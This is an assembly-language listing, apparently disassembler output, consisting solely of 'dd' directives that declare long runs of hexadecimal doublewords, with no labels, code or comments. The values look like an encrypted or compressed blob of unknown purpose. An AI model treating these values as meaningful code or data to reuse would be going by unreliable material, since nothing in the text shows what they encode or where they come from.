		dd 0C40208D4h, 0C12081A4h, 52F32B1h, 0A1AF98Fh,	2E48C091h
		dd 1E640985h, 0D72DD30Bh, 6CE8B48Bh, 285D8F1Ah,	31038BDDh
		dd 3081D18Ah, 66A766B1h, 7434D073h, 0D7D4CBF2h,	77583541h
		dd 0A83801Bh, 1C698E59h, 40C89EFFh, 0EB639D79h,	65AF592Dh
		dd 7DF3B0B8h, 0FDE04FC8h, 1599B90Ch, 0EB42DE83h, 26B7204h
		dd 0D4A29D56h, 0DDDF840Fh, 43D656D0h, 0B083EEA4h, 92FA4C31h
		dd 7351BA1Dh, 0F434FA7Bh, 0D14382FFh, 0C4FBF740h, 4093828Dh
		dd 0FC5D97BEh, 0C0641B6h, 86386FD2h, 1EECCC54h,	0CAF4F4B8h
		dd 7C1806EFh, 0B3C8BFA1h, 31D729D2h, 53466543h,	0D512F7DEh
		dd 0EB41DEE6h, 0DCA36FFBh, 0D2057A36h, 0B2016160h, 0EF9738B5h
		dd 0DCD6B3AAh, 0F3C340E8h, 0DE1E5F43h, 0BE5B88A4h, 35A4F840h
		dd 1A849F64h, 92DA2553h, 32AC83C9h, 884ECE25h, 13E0A8C6h
		dd 1EB13D0Bh, 0FCB0DF2Bh, 27AF7AD2h, 52CB83Eh, 8C8E7645h
		dd 7CED02B5h, 9C9D1E7Fh, 0C1361405h, 5624EA84h,	0E5976E94h
		dd 0F5310F0Bh, 459AC64Bh, 5DCFFD11h, 8C99B92Bh,	0E7C0E9DBh
		dd 0D0FD0D00h, 0FCACC019h, 511B3FA3h, 0A003907Ch, 0ECEF9961h
		dd 0F2B306E6h, 233C857Ah, 0F46CA3E0h, 0D22BC847h, 0B9B962E9h
		dd 642D70DFh, 9A2C57FBh, 8C3FACBBh, 0CB3126E6h,	21EA1C86h
		dd 0F0F98EE9h, 0BD1C0A38h, 0CAAEF358h, 924E1B6Bh, 0E0804C2h
		dd 2E9E6BFh, 36B7E1FFh
		dd 0E5087C86h, 7759E609h, 0CD7B1417h, 0B8D5DD67h, 50DBA85Bh
		dd 9666B167h, 6D2A79F3h, 0D3380D59h, 0D715F07h,	0C3555E2Bh
		dd 76AE060Eh, 3FF9E3CAh, 0D52CAF74h, 9BB01107h,	8333B6CCh
		dd 86EFAAA0h, 0E2A7CE4Ah, 9830890Fh, 1D08E67Eh,	0A8941191h
		dd 3B9FC533h, 0C2A65EF9h, 26341A29h, 0FFF11894h, 63904F62h
		dd 6F72D1C6h, 22B3DF0Fh, 2F7AA24Eh, 7C3BFA6Ah, 2C69C34Eh
		dd 0A35DAD06h, 0E6B38C76h, 2BA91126h, 3BDA0C98h, 3F8C7998h
		dd 43B6FA71h, 0ADD9D38Ch, 0C21603h, 9FFDC66Dh, 0D1A52555h
		dd 8BF0620Dh, 95B60629h, 900DB309h, 897C6229h, 0F50B3B93h
		dd 0EB362314h, 0C91AF55Eh, 3B413882h, 0F340A8E0h, 3844155Dh
		dd 0B9224D24h, 0B8B10C7Fh, 0F670FF0h, 986F28EEh, 0D9A1CA8Eh
		dd 0B2074AF1h, 3159CD73h, 3B260F25h, 0FA025793h, 19A47A12h
		dd 6F7F0264h, 0FC59B661h, 0C434AED5h, 0A2682C1Ah, 0E1F4EFA5h
		dd 107116FAh, 0D34CA4Eh, 0AF5AC1EAh, 3D7EB708h,	0A2297252h
		dd 0A4FF5482h, 0AAE5A05Ch, 32C30ED7h, 90F3D26h,	7A1FBBBFh
		dd 84D18CC4h, 7DA398F8h, 83475C04h, 3A9EAA08h, 532604ECh
		dd 0AE24E796h, 0B3AA8207h, 0CB46F7AFh, 36D72EF0h, 0B79F281Dh
		dd 571C8979h, 4F191E2Ah, 1281877Dh, 93A8163Ah, 53FDD827h
		dd 35382597h, 0AFADC2D7h, 38C88C93h, 475DADBAh,	0D2838531h
		dd 0ED6041E0h, 0CF28BDBEh, 1BE26DABh, 9428713h,	0C29B43AAh
		dd 1EB86562h, 93219AAh,	20CE3181h, 0E2D71038h, 97E3E7A3h
		dd 0C896BB61h, 0D411F466h, 0D6090659h, 1E4384Dh, 0D0AF2197h
		dd 0E3C28D96h, 0BF031917h, 380D071Bh, 32718F33h, 0EE2D9248h
		dd 662F8834h, 0C53C0703h, 0EBEB21A5h, 0C6737FCFh, 0A82DDC72h
		dd 0C1797099h, 0E809C7C2h, 21081EEBh, 0CA40941h, 0B3491877h
		dd 258983DCh, 5DCF4A8h,	0D5934E77h, 0C29359AAh,	16CA6AF6h
		dd 5976BDBFh, 592ACCBCh, 0BC5ADAAh, 0F92DE2C8h,	222B428Ah
		dd 25F4564Eh, 0B6FCD2E1h, 4015F6B3h, 47C78A73h,	0DD462BFFh
		dd 0AB827B92h, 3FCE208h, 17D6A849h, 44F41B67h, 0B2B72C96h
		dd 7B0F0992h, 1F85C743h, 0BA5C4D94h, 302B6204h,	0BB151D11h
		dd 80CC1D43h, 0CB016B64h, 1BCB05ADh, 0B5694F90h, 0B369EFD1h
		dd 6EAEC25Eh, 184B7857h, 379DEDD8h, 5AA3A520h, 0B15071D8h
		dd 0AD5085B2h, 0CFE69ADh, 90C88110h, 6DA42ABh, 3858E562h
		dd 7822D82Ah, 2845D1C1h, 0FE130018h, 6542C4F8h,	0EA66CD69h
		dd 0D1A1F4FCh, 876D0020h, 0E92D79A4h, 907A3707h, 39FE37h
		dd 0A7B78BAh, 22E716F5h, 0DB1497C0h, 399E95h, 0ECEC8F51h
		dd 45BC0E58h, 2B2AD086h, 0E69367BEh, 983DD8BAh,	0C94172FDh
		dd 0E475D8F0h, 0A5161FE2h, 457DBB1Ah, 0B4C703C6h, 0E6D92194h
		dd 103BF796h, 199351CDh, 7F10581Dh, 7636F278h, 350F39B0h
		dd 0A9E365A5h, 0F062A455h, 0B05FD55h, 9723133Bh, 514B9B1Ch
		dd 4B7ABFEDh, 4B827D8Dh, 0AB2F43B1h, 9D18FF89h,	2A6FF493h
		dd 93ACA988h, 64062074h, 4F0F01BAh, 76A0B2B6h, 0B87653E8h
		dd 42847F04h, 48B1E827h, 0C459E7DDh, 33EAD908h,	3E20E8C9h
		dd 0AF047F3Dh, 37959E15h, 0CB754E11h, 8FACB43Dh, 2D44605Ah
		dd 772FB97Dh, 3CF9A49Bh, 2582E8Fh, 33798ABCh, 9ED1EA71h
		dd 8AFDDE2Ch, 0CE0A2C1Fh, 7E1D1ABEh, 213A87C2h,	0E1DAC984h
		dd 6E75221Bh, 0D64CB930h, 0E250C2E6h, 0DDF2C113h, 0B56B3CADh
		dd 0EF3825Bh, 42C185E4h, 61C94ABEh, 7E686816h, 88798EC1h
		dd 2809FB39h, 2C322045h, 0BF3F6B98h, 1487B9B1h,	9A87E1A8h
		dd 0E85F232Dh, 79DAF6CAh, 6CDC497h, 64034D0Dh, 0E0566543h
		dd 2318F36Eh, 0BD70BB9Dh, 9413F949h, 0D6196754h, 83589986h
		dd 15FCA222h, 6E6B0FDEh, 0DA3C4496h, 0AAF79DB2h, 15E75A86h
		dd 1B40CDAAh, 0D27B3996h, 0FB92FBEDh, 0C4F9396h, 0DDFDB947h
		dd 3E14ACD9h, 0A7F46E73h, 0CDC7CA46h, 0F7BA1B78h, 93A64DCAh
		dd 7D1B40h, 65CAA31h, 9FD2C24h,	322A8B63h, 64C04A8Bh, 6F5E40A9h
		dd 43DC7C9Ch, 0CB8C0FEFh, 25905EC4h, 0B5E9A91Ch, 1155D191h
		dd 2FA08C17h, 5366AA3Ah, 322E715h, 8627F0BFh, 2469E78Ah
		dd 0F3F3F7A9h, 8835BA0Eh, 9B41F7BEh, 8C80DBE6h,	0E080FACAh
		dd 425CD0FAh, 11198E8Bh, 58A4F604h, 76F05618h, 0E62F6CD3h
		dd 613ED590h, 915891D3h, 0B821300Ah, 0C5B8BD5Ch, 0F4A53DEFh
		dd 25DE78E3h, 4BFCFB57h, 0AEF46DB6h, 920A16E3h,	5D16A731h
		dd 0FDE8626Eh, 5560DF76h, 1AE38D83h, 5AC0C791h,	0F5DE9EFAh
		dd 0D2914BFDh, 6DCEA005h, 1595EF51h, 289B5F14h,	0FEA6708h
		dd 68479771h, 99903F05h, 34ADFDF4h, 19A8FEA1h, 344F1EDAh
		dd 252D70F5h, 6FC64208h, 2B862214h, 3829E616h, 2B247B9Eh
		dd 0A7CB2BB2h, 0E53E20FCh, 3BA62A94h, 0B6694A13h, 7A101C02h
		dd 910C5A13h, 6EBD635Dh, 0EB89C4ADh, 62556680h,	1A6169DDh
		dd 0BECDDD19h, 0F7A4E833h, 338B78CFh, 4A0FDE27h, 49D1E17Fh
		dd 98ADDE69h, 86864E41h, 0CD454309h, 0B0889E6Ch, 0D36A6E70h
		dd 50642833h, 9446E5DDh, 761F758Bh, 36719B77h, 94666AFDh
		dd 5D6082ADh, 7A3D194Dh, 77F19DB0h, 8717931Dh, 328E806Eh
		dd 0E1A8911Bh, 0D8639B99h, 6C78E648h, 0F214D085h, 4B501C0Bh
		dd 1D69B348h, 0BA3BB974h, 973C529Ah, 0F09D881h,	0C1BAE3B8h
		dd 0C9ABDB06h, 920CBC07h, 53C97626h, 0A05711B0h, 0C3A8A9C0h
		dd 656E39B5h, 0D2323E56h, 89B336F7h, 7779EAFh, 0ECA8476Fh
		dd 0F98A30F2h, 971EE281h, 7CD0FA6Bh, 4AA66ECAh,	93A79C21h
		dd 3AA0F6D7h, 0BFC80EFAh, 86828212h, 7949221Eh,	70C5496Ah
		dd 0EE6C9EA3h, 0A9A96261h, 0DB14BE5Bh, 0D29B096h, 634EB104h
		dd 54DDA753h, 7558646Fh, 0B7568B7Eh, 25551E86h,	27B7080Eh
		dd 5A539499h, 13F8209Ah, 429D4E12h, 63DD7E5Ch, 0D7345A8Ch
		dd 77793AD0h, 0DCB1161h, 813D7BE5h, 0D34B315h, 0C35E34FEh
		dd 11F6261Dh, 85C8AB6Ch, 14ADA52Ah, 953E49E9h, 0D8E2AAC8h
		dd 609DADD5h, 6A64B369h, 15610E18h, 3B7FDD30h, 6621CE72h
		dd 6C878A8Eh, 4D7BE184h, 48381C7Bh, 72D521C4h, 4051CB86h
		dd 0B81B4E0Ch, 5DB379ECh, 8E00C163h, 0F8DE1762h, 8C8C4741h
		dd 7C55649Ch, 808B58A7h, 87D8F060h, 935B7B26h, 0B96B00Eh
		dd 45A13D87h, 0D04216DDh, 75EB6B9Eh, 61F0636Fh,	0F7106B6Dh
		dd 596B165Ch, 87F6D801h, 181E29E6h, 1D88ED12h, 73066F69h
		dd 0E83A1855h, 3FA01EEh, 6BA117Fh, 0F8BB75E1h, 0A1A831B7h
		dd 0C42A130Ch, 6C09C5CCh, 0CC2CB971h, 0D4ED1348h, 91AA6E58h
		dd 0A810E64Dh, 8E238748h, 625EE218h, 9F52AD3Bh,	7EFE303Fh
		dd 7A220F4h, 90044A25h,	79514EF5h, 0D0065729h, 0A3DED8BFh
		dd 5463DCEFh, 6F6C031Ah, 5F5911F9h, 0ED8D9AAh, 17425879h
		dd 1E014148h, 86591428h, 721F6D34h, 815BC0F3h, 86DD3515h
		dd 0F74EC310h, 0BA96ED22h, 0B486FF1Fh, 5824BFB8h, 38882255h
		dd 0F6157823h, 153CC6E5h, 889E5410h, 0F0EFC4CCh, 0FC353831h
		dd 1E36DBFh, 0CC1FF78Eh, 565E5B40h, 641073DCh, 71D33B19h
		dd 0C5103BD0h, 0EF979CBAh, 0F7531A3Bh, 0D97FA862h, 8F4216BDh
		dd 8EF9752Eh, 0FCCD7203h, 5FB78369h, 2950311Ah,	30C13983h
		dd 5DCEE950h, 0CC696426h, 6CCEB31Eh, 0A8B0A5B6h, 0BC9C29D6h
		dd 0C9DEB6ACh, 454BB975h, 1162017Ch, 0B4E3117Dh, 638F0DA0h
		dd 9B2F0002h, 3952E0A2h, 89CD15F9h, 0D1442790h,	0C624DF17h
		dd 5A782A41h
		dd 52DF1FBh, 21EE4AA4h,	827A5C51h, 0E8BAE7B4h, 1E00925Ah
		dd 7067F951h, 0D0272385h, 67E6F606h, 0EE5F24BFh, 0D337F6D9h
		dd 7492DEC5h, 2A66D81Ch, 418503CCh, 94581670h, 0F51D11CCh
		dd 0C3FD960Ah, 0F2500BEBh, 50FD0FA4h, 6B9EC648h, 0F8F86A23h
		dd 8786731Dh, 9F5AB843h, 1B50B38Dh, 57038A55h, 950A010h
		dd 0D1B2B2D5h, 5C497DB3h, 140E2300h, 0D61D5C57h, 2AD7BF88h
		dd 0D598BD84h, 0BD24395Dh, 602B917Ah, 0E2F3419Eh, 0C2C685DEh
		dd 0E2C2356Ch, 0C89DD786h, 0A3D3277Fh, 5410957Fh, 0B5E7D832h
		dd 301650D8h, 8995A602h, 655644A1h, 82FCBE9Dh, 8FC944D9h
		dd 9C21C678h, 406E1835h, 0E3E39D0h, 0B0DE819Fh,	76F72A6h
		dd 8E57684h, 0B384E63Eh, 53931D83h, 0C7B9B663h,	5AB56EBAh
		dd 0ECFA802Ah, 0E2914B69h, 64FA0AB1h, 42693FCh,	0BB270049h
		dd 8D3FE9F0h, 6948C477h, 872BA630h, 1934822h, 0CAB50AA1h
		dd 1D4AEA17h, 41FD5CD2h, 405E005Bh, 0B4239F59h,	0A6DE827Bh
		dd 9F32CA32h, 17AFE3D9h, 16693054h, 0CA42FFF2h,	27161D72h
		dd 16B71E06h, 5532E72Eh, 0A14B1C83h, 8215199Fh,	530487D5h
		dd 3A9096A2h, 7682B229h, 7B0D4645h, 9B8FB3A9h, 0E706AD0Bh
		dd 168AFDE8h, 9949B0AEh, 0C7E08F50h, 0E2CDA6FAh, 864578A1h
		dd 2C4946B4h, 56ECA053h, 6552B58Ah, 6519BF23h, 52675AD8h
		dd 0DA7DC4AAh, 19F0F40h, 0E3A325CEh, 0BDB97AC0h, 589D030Dh
		dd 75A9A287h, 5E3F53F0h, 198378B1h, 0AFC8D31h, 32EB6CB5h
		dd 0B7CB63Ah, 9D50B556h, 0C7B62D64h, 97E5085Dh,	5A955C81h
		dd 51A43DCBh, 0FC4AC3Fh, 7A70BC7Ah, 79FB96BAh, 5B2653EBh
		dd 0B16338B6h, 0F437BE5Bh, 0B4A9EE77h, 0A0BF756Ah, 0E2F2DDFDh
		dd 323ABDB8h, 6C670B6Fh, 246AF13Ah, 46BA1A58h, 0F8B5C86Ch
		dd 46D7489h, 9B2E58FEh,	7D96423Ch, 1370DAA1h, 3DF707D4h
		dd 0F0DCA85Eh, 0A73C765Eh, 0BB06884Ch, 10DF8C81h, 0DBDF3341h
		dd 0ECF3EB4Dh, 8B2D30A5h, 0DB250873h, 0E6F114B1h, 0DB614F01h
		dd 204F9641h, 3D93E963h, 63C56256h, 0A2F7DFD9h,	261C4E1Bh
		dd 2CCC2C2Ah, 0A58D4E4Ch, 471E435Ah, 0ED43874Ch, 137B9F02h
		dd 9934C4B5h, 439D325h,	0DB33AB5Bh, 0C1AA487Ah,	0AACFB224h
		dd 3514236Eh, 607CA7Bh,	0CCE5FF27h, 25693C2Eh, 86F8FA44h
		dd 6B4F62F7h, 617A678Fh, 5BC67D00h, 0BFAE4125h,	86995296h
		dd 79FB1F8Bh, 0D99DF19Dh, 2B40DDE9h, 0B7369E8Bh, 8BFF42E9h
		dd 8CDCB608h, 327DB320h, 738FDBA8h, 8AFE437Fh, 10A7208Bh
		dd 40319149h, 29ADC924h, 0F285E4B4h, 0A922AF14h, 4CE0293Fh
		dd 981DB78Eh, 37913CE9h, 73AC00CAh, 0ECD28C0Eh,	0D3107AC1h
		dd 8B12FB91h, 6479D0CBh, 7469364h, 0B6CC54E7h, 11399062h
		dd 31126FECh, 0DA56C5C4h, 0DCF3D341h, 0C68C6B16h, 8F0DE3D5h
		dd 8DD94D6Bh, 0CE731CA9h, 0D4032C04h, 9CBDB44h,	6ADB61E9h
		dd 0D3192154h, 2A79800Ah, 83AA0E91h, 0EF9B8D19h, 0F923BC0Dh
		dd 0D74F1023h, 0EF9CA554h, 8342C1EFh, 0A61CA58h, 4C697D39h
		dd 26165B49h, 0CF2C30A5h, 1EACCCh, 0B76F4FA6h, 93E8995Ch
		dd 77D13FE0h, 6FB8A6E2h, 21FA3DE0h, 0E8EDAD2Dh,	0ED05239Bh
		dd 76F716F4h, 740304BFh, 6D992483h, 164DCDF7h, 35C5826Eh
		dd 2578BDCEh, 0A3030678h, 3076870Fh, 0A6F22AC5h, 0F7C9AFE7h
		dd 0D4942DD0h, 0E7C72123h, 4F7B1A87h, 684E3258h, 0A5EA3FA7h
		dd 864577F4h, 0B3AFABDEh, 0D665C38Eh, 0D0FB9D17h, 36D69DC0h
		dd 5881DEDBh, 40CA7CB6h, 89366367h, 0ABBC5D03h,	0D761FFC3h
		dd 30D92739h, 490691B6h, 7321C23h, 8EC98EAAh, 643308E8h
		dd 720BE902h, 3AEC9943h, 7D3061E4h, 582D7171h, 0FABFEEFh
		dd 510AB2CBh, 0EEF06911h, 2042F614h, 777D54DEh,	6F256AD0h
		dd 395696A5h, 0AFBF8D61h, 0CFF737C1h, 608FF686h, 0EFDDAB86h
		dd 2ABF1C8Dh, 0E6818D7Eh, 0FF892C2Ah, 0A9B49E02h, 0D6C740A1h
		dd 8E561690h, 701EA64Fh, 0BAC88704h, 40D9DF28h,	0A9C61617h
		dd 7D1F364Ch, 0E9DB24A3h, 9CE502C3h, 4EE4C425h,	2BE3323Ch
		dd 0B1F6F532h, 942963CFh, 0DB8E3E2Ah, 9910CBADh, 0A8853882h
		dd 5B1349ABh, 7599F437h, 2F86EE65h, 0ACCC81E6h,	53C863FCh
		dd 5CC66110h, 357FD1F3h, 0CA09D676h, 0DF142949h, 0D4719898h
		dd 0B1A32D1Ch, 0B7CA07BAh, 874AFBC9h, 6CB0E636h, 80F73D35h
		dd 8FEFDDFh, 2F9E033Bh,	30071530h, 354A99C0h, 50DD4185h
		dd 0E7AD54A6h, 94A5B300h, 5E205BBEh, 4911AA0Ah,	0C645050Fh
		dd 8EE767FAh, 6E128B24h, 0B2910C29h, 6B5F8267h,	7A825377h
		dd 2A09E4F6h, 242D119Dh, 81D14534h, 0E7DB934Dh,	0A5C23BDBh
		dd 5DFBF44Ah, 359977E0h, 0EC09F7D7h, 0DD30ED5Fh, 7A2A0D59h
		dd 4CB4D94h, 0CF324B65h, 15B375B6h, 10F3E3ADh, 53C25295h
		dd 1C83E11Fh, 0DEF8FADCh, 12482842h, 263B2CFCh,	0EC6664ADh
		dd 9BF33F9Ch, 0EDA8B687h, 0AC8FFC5Ah, 0D962B437h, 0FE1CEE79h
		dd 0E95919D8h, 6C2A2EE3h, 5E4DD435h, 424C5C39h,	0F1585646h
		dd 0D8558373h, 58B4C0A0h, 19EC2012h, 9FFE3306h,	1953735Eh
		dd 429CECB0h, 1EBC78D6h, 4254D87Eh, 22CA4D8Bh, 0ED70E46Ch
		dd 0AE1E3014h, 84D46CBFh, 0FF7F861Ch, 185168DBh, 72D3D255h
		dd 3E3D7388h, 9C662684h, 8CC3227Ch, 6E7D472Ah, 80DE4F5Eh
		dd 1FF6E29Dh, 4E2A108h,	0FBD8304Bh, 0A88D7E10h,	0A1527AB6h
		dd 0D730157Bh, 49E028A3h, 0B28DAA7Ah, 0D62274EBh, 4C3EF4EBh
		dd 636599Ah, 82BEACD1h,	0DE271B67h, 0A3E71913h,	0C5AAF031h
		dd 78B397ADh, 55E97A95h, 64C35A65h, 8BE768Eh, 0FAF4B549h
		dd 0B8C9FE14h, 23F45C1Dh, 0CD7150BBh, 0FC082D2Ch, 0AE4B4B65h
		dd 0DFCA3B58h, 0E977F646h, 2A70656Fh, 0DAC1A513h, 0CC46E856h
		dd 7A8EB2E1h, 8A4533Eh,	449D00Eh, 9690B716h, 0A31746EFh
		dd 0EA12718Eh, 0A33FDD2Eh, 0DCDEC279h, 79002E29h, 0AB50F8C9h
		dd 60980663h, 9044918Eh, 85C90B80h, 15152DE6h, 8D3FA4C1h
		dd 0AD52BDD0h, 6055A860h, 1FD56F79h, 0F54A3FBAh, 132433h
		dd 0E7B9BABCh, 0A0C37122h, 0FD2F1C02h, 0C4E3E040h, 0E3D721D9h
		dd 1A9DA25Ah, 53663B06h, 0D670786Bh, 0A77935DCh, 0A73E6397h
		dd 0CD01D1B7h, 7C9E9531h, 8BD32E38h, 8D2BDDBh, 0DAFC6B3Dh
		dd 5CE2BBEAh, 8BC03249h, 1AA41D71h, 3EE04Eh, 0FBDA381Eh
		dd 1B6938FAh, 51A464FBh, 0D4A066D5h, 66C7FE98h,	0E9A395CAh
		dd 0FA8B0E48h, 10020B65h, 31F7FABBh, 8FA8F273h,	54EB38B4h
		dd 0A2253530h, 54AF8A07h, 0ADC21B36h, 5194EF9Ah, 0C68C7923h
		dd 3A7F5A99h, 2CFC6AABh, 32E31A59h, 2E667854h, 0DFD23BE8h
		dd 0EF90B913h, 0E32E250Bh, 7691192Eh, 0A4191DBAh, 26D608DDh
		dd 5CB423CFh, 53B1B3A7h, 1BFE65E9h, 3AFF1994h, 3F1A92BEh
		dd 0A89C2BC9h, 0B1610BC1h, 0B6578F75h, 1619AD3Ch, 0A6EECA28h
		dd 0EBD84109h, 0CAC5C7DDh, 6ABCE3A9h, 0C53F58A1h, 58B4E1A4h
		dd 5DEFAA7Dh, 0F4E97B0Ah, 0D73EA027h, 0D49C16BEh, 9434D911h
		dd 0B6C343FFh, 2D7AC58Bh, 5DCF6B30h, 3D668B0Fh,	0ACA72C46h
		dd 523FAE54h, 867F198h,	5D363870h, 0B7D4FB43h, 0FBF3AAA1h
		dd 7356A695h, 8238FE2Bh, 26867C43h, 5F758364h, 0F3ABD4F5h
		dd 95B52A98h, 2C6804CCh, 9C6B68B6h, 12D0F936h, 4FA5E02Fh
		dd 0A40BDFB0h, 3224C654h, 0CF92E8Ah, 0ECF21CFFh, 7AAF86BDh
		dd 67B7E37Bh, 0FA05E926h, 8B1EF4E4h, 0FFAB6EE8h, 7AB0717Dh
		dd 0F72AB5E3h, 0C586E770h
		dd 1BF3E9F8h, 0DCBC36F0h, 2975F9D4h, 14AFA7B3h,	0F84A4A59h
		dd 0C1120375h, 26D1BC84h, 0E9FFF47Dh, 1C4C2703h, 9F9808A6h
		dd 7C20C26Ah, 0B2628088h, 0A9B81E55h, 78C600BBh, 598438F4h
		dd 0CB23829Ah, 0E2074B7Dh, 14D6C32Ah, 189D5E88h, 3F5F28DFh
		dd 64D7244Ch, 8925D4B8h, 2DF9E79Ah, 47B0D636h, 9FBCA75Dh
		dd 0AEB143B5h, 45424232h, 41EC7E6h, 0AA6CC148h,	57E8B9CAh
		dd 7165734Ah, 0EA5D29CAh, 0F437906Fh, 26F3018Bh, 0BE3D38D4h
		dd 0C9DEFF84h, 73BD2FCAh, 1DC3C04Bh, 5A34819Ah,	0D9ACDED9h
		dd 0B7D577DAh, 0EDDCC379h, 77BC240Eh, 8230BE72h, 788A633Eh
		dd 1F77B3C1h, 6143F300h, 608A024Fh, 29518523h, 0B8BCB234h
		dd 2B589D97h, 0B27DE540h, 29F1EB61h, 33E6BE67h,	0A17C1CBAh
		dd 0EFBBF50Bh, 72750D39h, 9BAA0BFFh, 0F34AB651h, 863DF891h
		dd 9D80111Ch, 81B1B17Bh, 7292F01h, 411C9AC8h, 0A0B762A0h
		dd 0F0C92A18h, 89FD0AB6h, 1CE5AC5Bh, 42E41759h,	277F861Dh
		dd 8D4ABB2Fh, 2F63F526h, 1C0E2C54h, 3394E3FEh, 276E1DDDh
		dd 0D68B0DCAh, 7054F3D5h, 0D44D7257h, 631334ABh, 0B8065210h
		dd 0BAC326B0h, 0F41EE22Ah, 0E9D2E43h, 953445CBh, 245B5C5Ch
		dd 979A9B63h, 0F0762975h, 0C410D6D6h, 0E620A6EDh, 0F405B870h
		dd 5868938Fh, 4827E40Eh, 0DCFCBAC3h, 352C12BEh,	2D5C9437h
		dd 6EBE4176h, 3E24D294h, 7CF3ED8Bh, 2A46B980h, 0C2DDAF84h
		dd 0EAB9DF39h, 738CAF0Fh, 0B3887ADBh, 0A354D2C2h, 75BC4CC8h
		dd 88EE7FECh, 0DBCDB66Dh, 0DA194CD1h, 56376846h, 33F246CEh
		dd 37FF9B6Fh, 0DB699A3h, 3069CC23h, 0B26F6644h,	0DB278C96h
		dd 0F5A54044h, 0C271B2C8h, 662C5CB9h, 4E3DE052h, 601E6EF9h
		dd 0B239058Eh, 17DF7F70h, 0F4B6087h, 33571417h,	3031C75Dh
		dd 22BEE110h, 0D16C9B67h, 38851F42h, 0FA452E60h, 87B3A528h
		dd 8000E00Ch, 0C4AE875Bh, 5068F95Dh, 0E0E7C2C6h, 732AC104h
		dd 0E4AAE102h, 97ED4FD2h, 33ED78B2h, 27679DEEh,	5F114904h
		dd 0FD42DF59h, 6FC96857h, 3C1EE6B0h, 888922E3h,	0B2965451h
		dd 0ED33152Ch, 9CF6BA1Fh, 0F68F81CBh, 0C0DB521Bh, 3AD25680h
		dd 1024C3FDh, 0E65F8B65h, 0B9DC2F35h, 0CE553591h, 8CEABD14h
		dd 9C406FCCh, 5654136Ch, 4F6EAA8h, 0F97BE416h, 0B1BA715Ah
		dd 0A93E9BDh, 0A164E98Fh, 6C70AFCh, 0FD0D500Dh,	0F433AAD1h
		dd 624B52E5h, 0A01062EFh, 5A78D26Ch, 0EAD68E34h, 11D9A36h
		dd 7D76A85h, 75011A5Ch,	83F77C85h, 9ED05327h, 74A55057h
		dd 64782AF1h, 479A223h,	8693EA1h, 28264496h, 0EB5C587Dh
		dd 6BE1E103h, 53461551h, 0E99E75DAh, 0B3A948ECh, 24D212B5h
		dd 0E9A26243h, 0D320602h, 7161069h, 780D757Ah, 0E651316Bh
		dd 571D3B1Ah, 12850A0Eh, 2F75EF6h, 3DE956F8h, 28D8A232h
		dd 57D94B4Fh, 3ED058DCh, 2088455Ch, 0F0F1D50Ch,	0FFCBE955h
		dd 2FB43A6h, 86E7F68Eh,	76CB1409h, 2FBF8D09h, 0C3BA000Fh
		dd 5144943Bh, 0AAD623C8h, 2C28CEA2h, 1A62418Ah,	0FF0630B3h
		dd 33817353h, 5259349Dh, 205A2392h, 801E7382h, 1D1406B1h
		dd 0D020BF35h, 0C324E3C5h, 0D293B973h, 0DD6CB064h, 2A28E2A3h
		dd 16BFB995h, 0C5D5F930h, 0B64BD58Ah, 2222DAC9h, 5213F999h
		dd 603644CBh, 0FCCBAF69h, 0DED67AB5h, 0F91B1780h, 0DFAFA981h
		dd 9EC46803h, 116056E8h, 10D608FBh, 108E5DC1h, 0EAE8ABF5h
		dd 90135496h, 927B87h, 0BDF8C1F9h, 0BC4781C7h, 0B50FC023h
		dd 0F8B7B617h, 6F621F3Ch, 0B222701h, 9BE3E61Eh,	1277E75Dh
		dd 4362D26h, 63BBAF5Ch,	0D3323EEBh, 8703F1B1h, 94F1CEA0h
		dd 75D4125Ah, 55DD3624h, 0C204921Eh, 31F17767h,	0CA5D4BEAh
		dd 7451B247h, 6C7A4AD8h, 5E71AB77h, 6DF8044Eh, 7264DCEAh
		dd 0EBEBE559h, 2D75A19Fh, 4BB70D26h, 0BE149197h, 234AE4A4h
		dd 4704CEDBh, 0A43F3CC2h, 82B5A8CFh, 376AB3F2h,	0C347711Ch
		dd 77BCF627h, 0E86FA39h, 82B18A77h, 8396C920h, 0D3869F4Ch
		dd 0A494C974h, 1B378D1h, 0C1501982h, 741B1745h,	0C061E9D5h
		dd 71D423Bh, 0A11EB6D3h, 0B51884C1h, 5C3CAEBDh,	0B5C5661Bh
		dd 55C5B93Fh, 0B643F50Dh, 0A696359Fh, 0F25BF1D3h, 8D9E10ADh
		dd 8674246Eh, 571A23FCh, 7DA82B85h, 88D0F369h, 7FB8B564h
		dd 0F1EC329Ch, 0E05D654Bh, 3907CEA5h, 947C48A9h, 0F6040044h
		dd 20EB98BAh, 106FB32Ah, 0B0312767h, 86EFED52h,	0C0127BC3h
		dd 0D80E3B8Eh, 0D72E5F5Fh, 0DA7C72A5h, 0BA738856h, 62763DADh
		dd 0B94E63DAh, 1CDDDA59h, 0C796A9ADh, 0F7DA8AF7h, 6026DEC0h
		dd 0E98D132Fh, 0F7D513B6h, 0A6342B66h, 0D6992E95h, 0A29585Ch
		dd 951B011Eh, 0FC07466Eh, 2B7372B2h, 7BE873Fh, 0F5295AEh
		dd 0BD1031DEh, 3AAED697h, 0EAFF855Ah, 3348CF58h, 828203CEh
		dd 8A2C837Fh, 0DCB138D5h, 1ADE6289h, 88C741C4h,	0BEA7522Bh
		dd 7FE60B38h, 0C7CADB88h, 1A0DC40Ah, 168A6CF9h,	0AB8734EAh
		dd 9B1DC321h, 59CCF92Eh, 39404499h, 953B7D4Ch, 1ED2A7B8h
		dd 469718DCh, 599F673Ah, 0CDA07C5Bh, 488E7308h,	0CAA7C4ADh
		dd 0A1065001h, 2B1E14E7h, 182FE9D9h, 4B7B9444h,	6700432Dh
		dd 0D078FA5Bh, 39860150h, 0DF651CF3h, 21419ABh,	988D0EA4h
		dd 0A4C6F09Eh, 400C5FB1h, 40CE5E2h, 6D48F3DAh, 8E3BF3CDh
		dd 0D9CB4658h, 6F649C3Eh, 9ADBEF6Eh, 29C63F55h,	0DBC3ECFDh
		dd 0D6062327h, 0D643277Dh, 0D55419FAh, 0FAB891BDh, 3C2B3C3h
		dd 0B2521B2Fh, 359B520Bh, 0FD09B451h, 68D7CA10h, 0BE7B0EC3h
		dd 0D6974349h, 0CFF8FF63h, 0F345579Eh, 0D69F4882h, 0B3FAB02Bh
		dd 459CF890h, 598BC3FEh, 31011D6Ch, 170968B1h, 0D256B155h
		dd 4714D221h, 8361CDFEh, 5379CFFDh, 0B3BFA802h,	8B00CEFBh
		dd 0EE94A441h, 9E1A1AF6h, 1CDECBA9h, 51659786h,	1C8D7A10h
		dd 0DCD86708h, 8DBAA453h, 3452058h, 0A433C642h,	264954E5h
